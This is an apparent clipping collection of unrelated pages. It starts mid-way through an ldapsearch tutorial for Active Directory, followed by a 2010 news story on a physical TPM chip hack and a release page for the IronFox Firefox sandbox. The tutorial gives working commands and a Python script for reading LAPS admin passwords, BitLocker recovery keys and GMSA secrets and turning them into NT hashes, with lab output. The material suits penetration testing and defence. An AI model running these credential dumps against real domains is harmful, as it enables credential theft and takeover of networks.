    supportedCapabilities: 1.2.840.113556.1.4.800
    supportedCapabilities: 1.2.840.113556.1.4.1670
    supportedCapabilities: 1.2.840.113556.1.4.1791
    supportedCapabilities: 1.2.840.113556.1.4.1935
    supportedCapabilities: 1.2.840.113556.1.4.2080
    supportedCapabilities: 1.2.840.113556.1.4.2237
    isSynchronized: TRUE
    isGlobalCatalogReady: TRUE
    domainFunctionality: 3
    forestFunctionality: 3
    domainControllerFunctionality: 6
    
    # search result
    search: 2
    result: 0 Success
    
    # numResponses: 2
    # numEntries: 1
    
[/code]

You can learn the `dnsHostName` of the LDAP server you pinged, the `dn` which
is useful for picking your base search if you don’t know it, the
`domainFunctionality` level \(aka the Domain Functional Level\) will give you
a sense of what capabilities and GPOs can be set. The `supportedControl` and
`supportedCapabilities` are more advanced topics, but these basically say what
you can and can’t do on the server.

## Interesting Searches

The following are searches that I’ve found interesting or impactful in my
experience.

### LAPs Passwords

This search will only show computers with LAPs enabled, and if you can read
any passwords, what the password currently is.

Notice that this user can read every password except `SDLEGACY2K3` and
`SDEXCHANGE`

[code]

    $ ldapsearch -LLL -h 192.168.80.10 -b "dc=sittingduck,dc=info" -x -D "sittingduckuberuser" -w "ASDqwe123" '(ms-Mcs-AdmPwdExpirationtime=*)' ms-Mcs-AdmPwd
    
    dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
    ms-Mcs-AdmPwd: f/0HG3)7d5P+e;/IE5wW8I/o//5)}W
    
    dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
    ms-Mcs-AdmPwd: /B+%R26cVSA1c0zOi[-Z/#n1Q2sA,,
    
    dn: CN=SDLEGACY2K3,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
    
    dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
    ms-Mcs-AdmPwd: }b+BC@p,7))6pqxj3y]MxBm9@h9Hy-
    
    dn: CN=SDEXCHANGE,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
    
    dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
    ms-Mcs-AdmPwd: ]]3-%AN574#{/%t55!S+0!/10OJC;V
    
    dn: CN=DC2,OU=Domain Controllers,DC=sittingduck,DC=info
    ms-Mcs-AdmPwd: kMo,85{N(uhUmWj183,3#T&d[Aeddv
    
[/code]

### BitLocker Recovery Passwords

src: https://stackoverflow.com/a/50833203

The key on this one is narrowing down the search base to a small list or a
single computer. The reason this is important is that the Domain Controller
you are asking the password from has to do a bunch of decryption to calculate
this attribute on the fly, if you ask for too many \(like every machine in the
Domain\) the connection will be closed out due to timeout. Don’t be greedy,
just get the one you need.

[code]

    $ ldapsearch -h dc1.sittingduck.info -b "CN=WIN10COMP1,OU=Workstations,DC=sittingduck,DC=info" msfve-recoverypassword
    
[/code]

### GMSA NT Hash

  * src: https://stealthbits.com/blog/securing-gmsa-passwords/
  * src: https://github.com/SecureAuthCorp/impacket/pull/770

Group Managed Service Accounts \(GMSA\) have randomly generated passwords that
are default/generally pretty long. The `msDS-ManagedPassword` in an at-runtime
decrypted value that the Domain Controller has to construct in order to
return, much like the BitLocker keys. However, unlike with BitLocker,
generally there aren’t very many GMSAs so it’s less of a chance to knock over
the DC if you get greedy and query them all.

[code]

    $ LDAPTLS_REQCERT=never ldapsearch -LLL -H ldaps://192.168.80.10 -x -D uberuser -w ASDqwe123 -o ldif-wrap=no -b 'dc=sittingduck,dc=info' '(&(ObjectClass=msDS-GroupManagedServiceAccount))' msDS-ManagedPassword
    dn: CN=TestGMSA,CN=Managed Service Accounts,DC=sittingduck,DC=info
    
    msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAq/tlcA3PziSdtjxwKwcpM9VAteZa9No6et8yDWzgEYj5yFDhzT0OMFtTA4qAI4M+sWjiUVqYhDwFItW+5FlhaJp8tm/fcAfIDc5MAsYOXgq3AIc6ofCpeJga6Jw4SX/EKmnQdsS7lGmXd/yh27qJGj6SS0vwk//D8cr1+6s43YB0TxUxyLrruupZmd4Ndx2PZ4L4zkWa/vlRlDzadyeGwji70q9sfjH5x7+l7V+w5JK7/hKfG48swD8koEK/bHyLxZa8eDMEoscAmnuC/CA/pTvdF6jfIYmAYMGZujOVkbXJjaCEPGA1+nBDqkOQ1NlLZu4Y6Es1bB3YVIv6agDICYAAJ3USvAd5t267x9PfdetWSfLGRt4qxMCmOwXO0nVWMJTSYfjC+Phc0QX/rrTimPptYvx2NnuAclbgj0Fvg0iZfOvHW0SwdKTyKCvGeL+UPz4Jwr2VAd+PX43GoUPD8uBhDrtzVSwUhtScDIvzGJYgvHrREnTUqaf9pENqkVpbdXHtpE/buIphVrPEg84e9fgNB2a/r6sZaPX+1C8e/5pbNO7qoQ4fqXSDPM3qh6ymlh2ouNRoP0kN4sLVUvW+cNX+YQk7UJDSnG3fANPtgquhi6B4OVqU2fpypUbFtd91Ju/9xZeuod508FqYHPT1aX86tBdLj4yq2/65ROupERLVhAAADPE7gxzEgAAM2YeWnISAAA=
    
[/code]

Once you have this blob of text, you need to convert it into the NT hash using
this tool:

\(this is a slightly modified version of the script that agsolino posted\)

[code]

    #!/usr/bin/env python3
    from impacket.structure import hexdump, Structure
    import base64
    import sys, getopt
    # Source from: https://github.com/SecureAuthCorp/impacket/pull/770#issuecomment-589243865
    
    class MSDS_MANAGEDPASSWORD_BLOB(Structure):
        structure = (
            ('Version','<H'),
            ('Reserved','<H'),
            ('Length','<L'),
            ('CurrentPasswordOffset','<H'),
            ('PreviousPasswordOffset','<H'),
            ('QueryPasswordIntervalOffset','<H'),
            ('UnchangedPasswordIntervalOffset','<H'),
            ('CurrentPassword',':'),
            ('PreviousPassword',':'),
            #('AlignmentPadding',':'),
            ('QueryPasswordInterval',':'),
            ('UnchangedPasswordInterval',':'),
        )
    
        def __init__(self, data = None):
            Structure.__init__(self, data = data)
    
        def fromString(self, data):
            Structure.fromString(self,data)
    
            if self['PreviousPasswordOffset'] == 0:
                endData = self['QueryPasswordIntervalOffset']
            else:
                endData = self['PreviousPasswordOffset']
    
            self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
            if self['PreviousPasswordOffset'] != 0:
                self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
    
            self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
            self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
    
    def main(argv):
        b64 = ""
        verbose = False
        try:
            opts, args = getopt.getopt(argv,"hvb:",["base64="])
        except getopt.GetoptError:
            print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')
            sys.exit(2)
        for opt, arg in opts:
            if opt == '-h':
                print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')
                sys.exit()
            elif opt in ("-v"):
                verbose = True
            elif opt in ("-b", "--base64"):
                b64 = arg
    
        if b64 == "":
            print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')
            sys.exit()
    
        test = base64.b64decode(b64)
    
        blob = MSDS_MANAGEDPASSWORD_BLOB()
        blob.fromString(test)
        if verbose == True:
            blob.dump()
            print("="*80)
            print("Cleartext Password")
            hexdump(blob['CurrentPassword'][:-2])
        from Cryptodome.Hash import MD4
        hash = MD4.new ()
        hash.update (blob['CurrentPassword'][:-2])
        print("="*80)
        print("NTHash: {}".format(hash.hexdigest()))
        print("="*80)
    
    if __name__ == "__main__":
       main(sys.argv[1:])
    
[/code]

[code]

    $ python3 ./gmsa.py -b AQAAACQCAAAQABIBFAIcAq/tlcA3PziSdtjxwKwcpM9VAteZa9No6et8yDWzgEYj5yFDhzT0OMFtTA4qAI4M+sWjiUVqYhDwFItW+5FlhaJp8tm/fcAfIDc5MAsYOXgq3AIc6ofCpeJga6Jw4SX/EKmnQdsS7lGmXd/yh27qJGj6SS0vwk//D8cr1+6s43YB0TxUxyLrruupZmd4Ndx2PZ4L4zkWa/vlRlDzadyeGwji70q9sfjH5x7+l7V+w5JK7/hKfG48swD8koEK/bHyLxZa8eDMEoscAmnuC/CA/pTvdF6jfIYmAYMGZujOVkbXJjaCEPGA1+nBDqkOQ1NlLZu4Y6Es1bB3YVIv6agDICYAAJ3USvAd5t267x9PfdetWSfLGRt4qxMCmOwXO0nVWMJTSYfjC+Phc0QX/rrTimPptYvx2NnuAclbgj0Fvg0iZfOvHW0SwdKTyKCvGeL+UPz4Jwr2VAd+PX43GoUPD8uBhDrtzVSwUhtScDIvzGJYgvHrREnTUqaf9pENqkVpbdXHtpE/buIphVrPEg84e9fgNB2a/r6sZaPX+1C8e/5pbNO7qoQ4fqXSDPM3qh6ymlh2ouNRoP0kN4sLVUvW+cNX+YQk7UJDSnG3fANPtgquhi6B4OVqU2fpypUbFtd91Ju/9xZeuod508FqYHPT1aX86tBdLj4yq2/65ROupERLVhAAADPE7gxzEgAAM2YeWnISAAA=
    ================================================================================
    NTHash: 78450c9611e6c9515e2a489f9b31cc3e
    ================================================================================
    
[/code]

If you want to learn more about GMSAs and a newer attack called the “Golden
GMSA” check out the Sempris blog here: https://www.semperis.com/blog/golden-
gmsa-attack/

### Certificate Authorities and Templates

This is a list of certificate templates that are enabled on each certificate
authority in the domain.

[code]

    $ ldapsearch -LLL -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sittingduck,DC=info" -h 192.168.80.10 -w "ASDqwe123" -D "uberuser"  certificateTemplates
    
    dn: CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration
     ,DC=sittingduck,DC=info
    
    dn: CN=sittingduck-W2KCA-CA,CN=Enrollment Services,CN=Public Key Services,CN=S
     ervices,CN=Configuration,DC=sittingduck,DC=info
    certificateTemplates: ExchangeUser
    certificateTemplates: ExchangeUserSignature
    certificateTemplates: EnrollmentAgentOffline
    certificateTemplates: MachineEnrollmentAgent
    certificateTemplates: EnrollmentAgent
    certificateTemplates: CrossCA
    certificateTemplates: CodeSigning
    certificateTemplates: CEPEncryption
    certificateTemplates: CAExchange
    certificateTemplates: ClientAuth
    certificateTemplates: Workstation
    certificateTemplates: UserSignature
    certificateTemplates: CTLSigning
    certificateTemplates: SmartcardUser
    certificateTemplates: SmartcardLogon
    certificateTemplates: OfflineRouter
    certificateTemplates: RASAndIASServer
    certificateTemplates: OCSPResponseSigning
    certificateTemplates: KeyRecoveryAgent
    certificateTemplates: IPSECIntermediateOffline
    certificateTemplates: IPSECIntermediateOnline
    certificateTemplates: DirectoryEmailReplication
    certificateTemplates: DomainControllerAuthentication
    certificateTemplates: KerberosAuthentication
    certificateTemplates: EFSRecovery
    certificateTemplates: EFS
    certificateTemplates: DomainController
    certificateTemplates: WebServer
    certificateTemplates: Machine
    certificateTemplates: User
    certificateTemplates: SubCA
    certificateTemplates: Administrator
    
[/code]

### Nested Group Membership

A query like this:

[code]

    $ ldapsearch -x -LLL -h dc1.sittingduck.info -w ASDqwe123 -D uberuser -b "dc=sittingduck,dc=info" '(memberOf=cn=Domain Admins,cn=Users,dc=SittingDuck,dc=info)' cn
    
[/code]

will result in all of the accounts that have a `memberOf` attribute of Domain
Admins. This will show you the first level of membership, but LDAP/AD actually
has a way to identify nested membership using the 1.2.840.113556.1.4.1941 OID:

[code]

    $ ldapsearch -x -LLL -h dc1.sittingduck.info -w ASDqwe123 -D uberuser -b "dc=sittingduck,dc=info" '(memberOf:1.2.840.113556.1.4.1941:=cn=Domain Admins,cn=Users,dc=sittingduck,dc=info)' cn
    
[/code]

This will show you all Domain Admins even if they are in a group in a group in
a group in a group.

### Find Exchange Servers

[code]

    $ ldapsearch -LLL -h 192.168.80.10 -o ldif-wrap=no -x -D uberuser -w ASDqwe123 -b "cn=Configuration,dc=sittingduck,dc=info" "(objectCategory=msExchExchangeServer)" dn
    
    dn: CN=SDEXCHANGE,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=sittingduck,DC=info
    
[/code]

### Deleted / Tombstoned objects

Looking at deleted and tombstoned objects won’t always get you much
information you can directly use, but sometimes there are passwords or other
sensitive data stored in objects. \(I don’t believe deleting objects changes
their permissions but I could be wrong here\)

[code]

    $ ldapsearch -h 192.168.80.10 -x -w ASDqwe123 -D uberuser -b "CN=Deleted Objects,DC=sittingduck,DC=info" -E '!1.2.840.113556.1.4.417'
    
[/code]

For example here is a Computer account that was deleted:

[code]

    # blah1
    DEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef, Deleted Objects, sittingduck.
     info
    dn: CN=blah10ADEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef,CN=Deleted Objects,DC=
     sittingduck,DC=info
    objectClass: top
    objectClass: person
    objectClass: organizationalPerson
    objectClass: user
    objectClass: computer
    cn:: YmxhaDEKREVMOjJmN2IxOWIxLTlkZWUtNGE0OC04YmIwLWFkNjJlNmEyODdlZg==
    distinguishedName: CN=blah10ADEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef,CN=Dele
     ted Objects,DC=sittingduck,DC=info
    instanceType: 4
    whenCreated: 20220512041425.0Z
    whenChanged: 20220512045921.0Z
    uSNCreated: 2663983
    isDeleted: TRUE
    uSNChanged: 2664044
    name:: YmxhaDEKREVMOjJmN2IxOWIxLTlkZWUtNGE0OC04YmIwLWFkNjJlNmEyODdlZg==
    objectGUID:: sRl7L+6dSEqLsK1i5qKH7w==
    userAccountControl: 4128
    objectSid:: AQUAAAAAAAUVAAAAfS9vpuKLWG5ZpW7N9RUAAA==
    sAMAccountName: BLAH1$
    lastKnownParent: CN=Computers,DC=sittingduck,DC=info
    isRecycled: TRUE
    
[/code]

### Replication Metadata

src: https://posts.specterops.io/hunting-with-active-directory-replication-
metadata-1dab2f681b19 src: https://stackoverflow.com/a/38710484

This is one place where ldapsearch isn’t quite as cool as other tools, all of
the base64 output. I did find a great way to decode most of it on
StackOverflow:

  * `| perl -MMIME::Base64 -n -00 -e 's/n +//g;s/(?<=:: )(S+)/decode_base64($1)/eg;print'`

Basically you are pipeing the output of `ldapsearch` into a bit of perl that
Base64 decodes anything that looks like Base64.

Back on track, there is a ton of great info in Replication metadata but the
blog post from SpecterOps above.

[code]

    $ ldapsearch -h 192.168.80.10 -o ldif-wrap=no -x -w ASDqwe123 -D sittingduckuberuser -b "CN=Administrator,CN=Users,DC=sittingduck,DC=info" msDS-ReplAttributeMetaData                       # extended LDIF
    #
    # LDAPv3
    # base <CN=Administrator,CN=Users,DC=sittingduck,DC=info> with scope subtree
    # filter: (objectclass=*)
    # requesting: msDS-ReplAttributeMetaData
    #
    
    # Administrator, Users, sittingduck.info
    dn: CN=Administrator,CN=Users,DC=sittingduck,DC=info
    msDS-ReplAttributeMetaData:: PERTX1JFUExfQVRUUl9NRVRBX0RBVEE+Cgk8cHN6QXR0cmlidXRlTmFtZT5tc0RTLVN1cHBvcnRlZEVuY3J5cHRpb25UeXBlczwvcHN6QXR0cmlidXRlTmFtZT4KCTxkd1ZlcnNpb24+MTwvZHdWZXJzaW9uPgoJPGZ0aW1lTGFzdE9y
    aWdpbmF0aW5nQ2hhbmdlPjIwMTUtMTAtMTRUMDM6Mjg6MTRaPC9mdGltZUxhc3RPcmlnaW5hdGluZ0NoYW5nZT4KCTx1dWlkTGFzdE9yaWdpbmF0aW5nRHNhSW52b2NhdGlvbklEPjhkMmExZjVjLTU4ZDQtNGVmYS1iY2QyLWY3ZDg1ZWY1MzAxMzwvdXVpZExhc3RPcmlna
    W5hdGluZ0RzYUludm9jYXRpb25JRD4KCTx1c25PcmlnaW5hdGluZ0NoYW5nZT4xMjc3NjwvdXNuT3JpZ2luYXRpbmdDaGFuZ2U+Cgk8dXNuTG9jYWxDaGFuZ2U+MTI3NzY8L3VzbkxvY2FsQ2hhbmdlPgoJPHBzekxhc3RPcmlnaW5hdGluZ0RzYUROPjwvcHN6TGFzdE9yaW
    dpbmF0aW5nRHNhRE4+CjwvRFNfUkVQTF9BVFRSX01FVEFfREFUQT4KAA==
    msDS-ReplAttributeMetaData:: PERTX1JFUExfQVRUUl9NRVRBX0RBVEE+Cgk8cHN6QXR0cmlidXRlTmFtZT5sYXN0TG9nb25UaW1lc3RhbXA8L3BzekF0dHJpYnV0ZU5hbWU+Cgk8ZHdWZXJzaW9uPjI8L2R3VmVyc2lvbj4KCTxmdGltZUxhc3RPcmlnaW5hdGluZ0No
    YW5nZT4yMDE3LTA2LTIwVDAwOjE3OjIyWjwvZnRpbWVMYXN0T3JpZ2luYXRpbmdDaGFuZ2U+Cgk8dXVpZExhc3RPcmlnaW5hdGluZ0RzYUludm9jYXRpb25JRD4yOWJkZWQ4MS0xMGRmLTQ0YTMtOGVkNi0xOWY1ODJjYjhiNGU8L3V1aWRMYXN0T3JpZ2luYXRpbmdEc2FJb
    nZvY2F0aW9uSUQ+Cgk8dXNuT3JpZ2luYXRpbmdDaGFuZ2U+MzQzOTQ2PC91c25PcmlnaW5hdGluZ0NoYW5nZT4KCTx1c25Mb2NhbENoYW5nZT4zNDM5NDY8L3VzbkxvY2FsQ2hhbmdlPgoJPHBzekxhc3RPcmlnaW5hdGluZ0RzYUROPjwvcHN6TGFzdE9yaWdpbmF0aW5nRH
    NhRE4+CjwvRFNfUkVQTF9BVFRSX01FVEFfREFUQT4KAA==
    
[/code]

With the Perl trick:

[code]

    $ ldapsearch -h 192.168.80.10 -o ldif-wrap=no -x -w ASDqwe123 -D sittingduckuberuser -b "CN=Administrator,CN=Users,DC=sittingduck,DC=info" msDS-ReplAttributeMetaData | perl -MMIME::Base64
    -n -00 -e 's/n +//g;s/(?<=:: )(S+)/decode_base64($1)/eg;print'
    # extended LDIF
    #
    # LDAPv3
    # base <CN=Administrator,CN=Users,DC=sittingduck,DC=info> with scope subtree
    # filter: (objectclass=*)
    # requesting: msDS-ReplAttributeMetaData
    #
    
    # Administrator, Users, sittingduck.info
    dn: CN=Administrator,CN=Users,DC=sittingduck,DC=info
    msDS-ReplAttributeMetaData:: <DS_REPL_ATTR_META_DATA>
            <pszAttributeName>msDS-SupportedEncryptionTypes</pszAttributeName>
            <dwVersion>1</dwVersion>
            <ftimeLastOriginatingChange>2015-10-14T03:28:14Z</ftimeLastOriginatingChange>
            <uuidLastOriginatingDsaInvocationID>8d2a1f5c-58d4-4efa-bcd2-f7d85ef53013</uuidLastOriginatingDsaInvocationID>
            <usnOriginatingChange>12776</usnOriginatingChange>
            <usnLocalChange>12776</usnLocalChange>
            <pszLastOriginatingDsaDN></pszLastOriginatingDsaDN>
    </DS_REPL_ATTR_META_DATA>
    
    msDS-ReplAttributeMetaData:: <DS_REPL_ATTR_META_DATA>
            <pszAttributeName>lastLogonTimestamp</pszAttributeName>
            <dwVersion>2</dwVersion>
            <ftimeLastOriginatingChange>2017-06-20T00:17:22Z</ftimeLastOriginatingChange>
            <uuidLastOriginatingDsaInvocationID>29bded81-10df-44a3-8ed6-19f582cb8b4e</uuidLastOriginatingDsaInvocationID>
            <usnOriginatingChange>343946</usnOriginatingChange>
            <usnLocalChange>343946</usnLocalChange>
            <pszLastOriginatingDsaDN></pszLastOriginatingDsaDN>
    </DS_REPL_ATTR_META_DATA>
    
[/code]

## References

For futher info, the LDAP Wiki is an amazing resource.

### Ropnop’s Talk at Troopers 2019

You should absolutely check out Ropnop \(and follow him on Twitter\) if you
want to learn more.

# Security chip that does encryption in PCs hacked - USATODAY.com

**Created:**| _2/10/2010 8:07:29 PM_  
---|---  
**Updated:**| _2/10/2010 8:07:46 PM_  
**Author:**| __  
**Tags:**| _hardware Hacks crypto_  
  
  
---  
| Security chip that does encryption in PCs hacked  
---  
Posted | Comment | Recommend | E-mail | Save | Print |  
---|---  
| | | <img src='img/Temp2_7375.jpg' width='245' height='175' alt='In this photo provided by Christopher Tarnovsky on Jan. 31, 2010, a new unopened Infineon TPM part, right, alongside a part opened by Tarnovsky are shown. A pin on the open chip was broken during handling.' />| <img src='img/Temp2_7373.jpg' width='20' height='20' />  
---|---  
<img src='img/Temp2_7374.jpg' width='13' height='13' alt='Enlarge image' /> Enlarge | By Christopher Tarnovsky, AP   
<img src='img/Temp2_7373.jpg' width='1' height='14' />  
In this photo provided by Christopher Tarnovsky on Jan. 31, 2010, a new
unopened Infineon TPM part, right, alongside a part opened by Tarnovsky are
shown. A pin on the open chip was broken during handling.  
By Jordan Robertson, Associated Press

SAN FRANCISCO — Deep inside millions of computers is a digital Fort Knox, a
special chip with the locks to highly guarded secrets, including classified
government reports and confidential business plans. Now a former U.S. Army
computer-security specialist has devised a way to break those locks.

The attack can force heavily secured computers to spill documents that likely
were presumed to be safe. This discovery shows one way that spies and other
richly financed attackers can acquire military and trade secrets, and comes as
worries about state-sponsored computer espionage intensify, underscored by
recent hacking attacks on Google.

The new attack discovered by Christopher Tarnovsky is difficult to pull off,
partly because it requires physical access to a computer. But laptops and
smart phones get lost and stolen all the time. And the data that the most
dangerous computer criminals would seek likely would be worth the expense of
an elaborate espionage operation.

Jeff Moss, founder of the Black Hat security conference and a member of the
U.S. Department of Homeland Security's advisory council, called Tarnovsky's
finding "amazing."

"It's sort of doing the impossible," Moss said. "This is a lock on Pandora's
box. And now that he's pried open the lock, it's like, ooh, where does it lead
you?"

Tarnovsky figured out a way to break chips that carry a "Trusted Platform
Module," or TPM, designation by essentially spying on them like a phone
conversation. Such chips are billed as the industry's most secure and are
estimated to be in as many as 100 million personal computers and servers,
according to market research firm IDC.

When activated, the chips provide an additional layer of security by
encrypting, or scrambling, data to prevent outsiders from viewing information
on the machines. An extra password or identification such as a fingerprint is
needed when the machine is turned on.

Many computers sold to businesses and consumers have such chips, though users
might not turn them on. Users are typically given the choice to turn on a TPM
chip when they first use a computer with it. If they ignore the offer, it's
easy to forget the feature exists. However, computers needing the most
security typically have TPM chips activated.

"You've trusted this chip to hold your secrets, but your secrets aren't that
safe," said Tarnovsky, 38, who runs the Flylogic security consultancy in
Vista, California, and demonstrated his hack last week at the Black Hat
security conference in Arlington, Virginia.

The chip Tarnovsky hacked is a flagship model from Infineon Technologies AG,
the top maker of TPM chips. And Tarnovsky says the technique would work on the
entire family of Infineon chips based on the same design. That includes non-
TPM chips used in satellite TV equipment, Microsoft Corp.'s Xbox 360 game
console and smart phones.

That means his attack could be used to pirate satellite TV signals or make
Xbox peripherals, such as handheld controllers, without paying Microsoft a
licensing fee, Tarnovsky said. Microsoft confirmed its Xbox 360 uses Infineon
chips, but would only say that "unauthorized accessories that circumvent
security protocols are not certified to meet our safety and compliance
standards."

The technique can also be used to tap text messages and e-mail belonging to
the user of a lost or stolen phone. Tarnovsky said he can't be sure, however,
whether his attack would work on TPM chips made by companies other than
Infineon.

Infineon said it knew this type of attack was possible when it was testing its
chips. But the company said independent tests determined that the hack would
require such a high skill level that there was a limited chance of it
affecting many users.

"The risk is manageable, and you are just attacking one computer," said Joerg
Borchert, vice president of Infineon's chip card and security division. "Yes,
this can be very valuable. It depends on the information that is stored. But
that's not our task to manage. This gives a certain strength, and it's better
than an unprotected computer without encryption."

The Trusted Computing Group, which sets standards on TPM chips, called the
attack "exceedingly difficult to replicate in a real-world environment." It
added that the group has "never claimed that a physical attack — given enough
time, specialized equipment, know-how and money — was impossible. No form of
security can ever be held to that standard."

It stood by TPM chips as the most cost-effective way to secure a PC.

It's possible for computer users to scramble data in other ways, beyond what
the TPM chip does. Tarnovsky's attack would do nothing to unlock those
methods. But many computer owners don't bother, figuring the TPM security
already protects them.

Tarnovsky needed six months to figure out his attack, which requires skill in
modifying the tiny parts of the chip without destroying it.

Using off-the-shelf chemicals, Tarnovsky soaked chips in acid to dissolve
their hard outer shells. Then he applied rust remover to help take off layers
of mesh wiring, to expose the chips' cores. From there, he had to find the
right communication channels to tap into using a very small needle.

The needle allowed him to set up a wiretap and eavesdrop on all the
programming instructions as they are sent back and forth between the chip and
the computer's memory. Those instructions hold the secrets to the computer's
encryption, and he didn't find them encrypted because he was physically inside
the chip.

Even once he had done all that, he said he still had to crack the "huge
problem" of figuring out how to avoid traps programmed into the chip's
software as an extra layer of defense.

"This chip is mean, man — it's like a ticking time bomb if you don't do
something right," Tarnovsky said.

Joe Grand, a hardware hacker and president of product- and security-research
firm Grand Idea Studio, saw Tarnovsky's presentation and said it represented a
huge advancement that chip companies should take seriously, because it shows
that presumptions about security ought to be reconsidered.

"His work is the next generation of hardware hacking," Grand said.  
  

# Ironfox - Sandboxed firefox wrapper for MacOSX

**Created:**| _11/11/2010 8:53:10 AM_  
---|---  
**Updated:**| _11/11/2010 8:53:21 AM_  
**Author:**| __  
**Tags:**| _Mac-hacking awesome sandboxing_  
  

#### IronFox

## The IronFox program

IronFox is firefox in a sandbox, or more correctly, an application shell
script wrapper that starts firefox in a sandbox. The policy is bundled within
the app, should there be any desire to inspect the policy before use.

The goal of the policy is to let the user browse the web without interfering,
but still protect the users privacy and system integrity from vulnerabilities
that may exist in firefox or its plugins. The only restrictions that Ironfox
gives the user is that downloads and uploads may only recide in the users
download directory, and that ironfox itself can not launch any other
applications.

## Our design philosophies behind the IronSuite tools

Ironfox is but one of the tools we have developed sandbox policies for. We
have developed profiles for Adium, Thunderbird, Tweetdeck, Ventrilo, etc. To
better describe how we have approached this, and what is going on behind the
scenes, we have written a IronSuite Design philosophy document that we urge
you as a user to read.

IronFox only works with Firefox 3.6 and MacOSX 10.6 and 10.5. Version 0.8
introduced beta support for 10.5 . 10.4 does not support the kernel features
required, therefor there will never be an ironfox release for tiger.

## Installation instructions

Doubleclick the dmg file and drag IronFox to the Application folder. Please
note - Firefox needs to be installed in /Applications otherwise it won't work.
No Firefox binaries are shipped as part of the ironfox bundle.

## Configuration instructions

As ironfox now is possible to config by users, a new page with configuration
instructions is available. See Config

## Releases and download instructions

**downloads are also available overhttps.**

IronFox-0.8.3.dmg

[code]

     prompt$ shasum -a 512 IronFox-0.8.3.dmg 
    8f629641bcb25b4165568fc4cf455c5721067f1cdbc0dba4504f145aa36fcc38b9cf10f275c2bf9385d6b730656a445ee1c209ae1280f4779364767c2f1844d6  IronFox-0.8.3.dmg
    
    
[/code]

New features in the 0.8.3 version

  * Unbreak flash
  * Ironsettings have a different release schedule, removed from package.

IronFox-0.8.2.dmg

[code]

     prompt$ shasum -a 512 IronFox-0.8.2.dmg
    674e37d646f9e73c3e3de07570d781f5ac685cf7af7aafaf9e94a7c9caf4ffb40bf03aaab99cbd53872408df92b84a6136d4c2923d2f5feafe02b98f21313d01  IronFox-0.8.2.dmg
    
    
[/code]

New features in the 0.8.2 version

  * Added update scripts for firefox and ironfox \(beta\)
  * Fix writedirs to actually work \(still a bit buggy\)
  * Hardened policy to prevent viewing of files in user homedir
  * Graphical config tool is now available in the installer

**downloads are also available overhttps.**

IronFox-0.8.1.dmg

[code]

         prompt$ shasum -a 512 IronFox-0.8.1.dmg 
    901c4a22a8bfb52d9c32b103a5fbcb05584f3e8504c4fd0c69a908f91d068f8f6bf5e9217ea6ada7318114bcc162f735c9d60f40e35c2ccd6e9024de82426352  IronFox-0.8.1.dmg
    
    
[/code]

New features in the 0.8.1 version

  * Fixed a logic error that prevented startup on MacOSX 10.5 leopard

IronFox-0.8.0.dmg

[code]

           prompt$ shasum -a 512 IronFox-0.8.0.dmg 
    3ab15998a56566c82cc61ada407156430eff6bb55de83832f6da792a8989a9886fdbd7a57fee947d303c526c339c2b42ff1550fdf496b3d09e9c3e304c7efc7f  IronFox-0.8.0.dmg 
    
    
[/code]

New features in the 0.8.0 version

  * unbreak flash \(latest flash uses adobe instead of macromedia in some paths\)
  * Rewritten startup in perl. should be faster
  * Added writeable\_dirs\_file to config file to allow users to whitelist their own directories.
  * Added initial support for MacOSX 10.5 Leopard - Testers wanted\!
  * Added initial plugin support for MacOSX 10.5 Leopard - Testers wanted\!
  * Added function for friendly errors.
  * Added blacklist for certain dirs, trying to help users from shooting themselfs in the foot.
  * 10.6 compability fix for 10.5

IronFox-0.7.1.dmg and GPG signature file IronFox-0.7.1.dmg.sig

[code]

           prompt$ shasum -a 512 IronFox-0.7.1.dmg
    c26f29fafa6f4d36ee17b28f8f657f273828124ea54e45d24e37b7c82bf6b9ad75577823fffdff5e6ee8889fd62a2efb90e2a88044f28e4b603bdf10ff1bcb74  IronFox-0.7.1.dmg
    
    
[/code]

This release includes several fixes and features from earlier internal
releases.

New features in the 0.7.1 version

  * Added support for drag and drop of objects to and from ff via plugin
  * FF will now only load whitelisted plugin
  * Added support for Userconfig. Users non-specified entries will be disabled
  * updated myyesno function to also take $i, for more sensible error messages.
  * Making certain font info user modifiable
  * Added plugin for colorprofiles
  * Added plugin for MDS
  * debug now allows crashreporter to run \(still very restricted\)
  * IronFox have a proper installer now
  * Updated error handling to actually exit when things go wrong

New features added in the 0.7 version

  * Addition of an IronFox.config in /Applications/IronFox.app/Contents/Resources changes to that file can turn on/off features for the user
  * Lots of more checks for a more stable execution
  * Rewrote startup to support plugins
  * download dir, flash, java, debug and kerberos are now easy to config
  * renamed readme.txt and changelog.txt to be consistent with IronAdium distribution

New features added in the 0.6.3 version

  * Fixed a bug in the kerberos module that made kerberos non-functional

ironfox-0.6.2.tar.gz and GPG signature file ironfox-0.6.2.tar.gz.sig

[code]

      promt$ shasum -a 512 ironfox-0.6.2.tar.gz
    6234300f7118230f7b3b9be6360dac49f25dcc3f5b47358f312b995b506a94547413eba14cad15d35da1a6b638a21d4f22e6543d1c85c3b850665fee57668b1d  ironfox-0.6.2.tar.gz
    
    
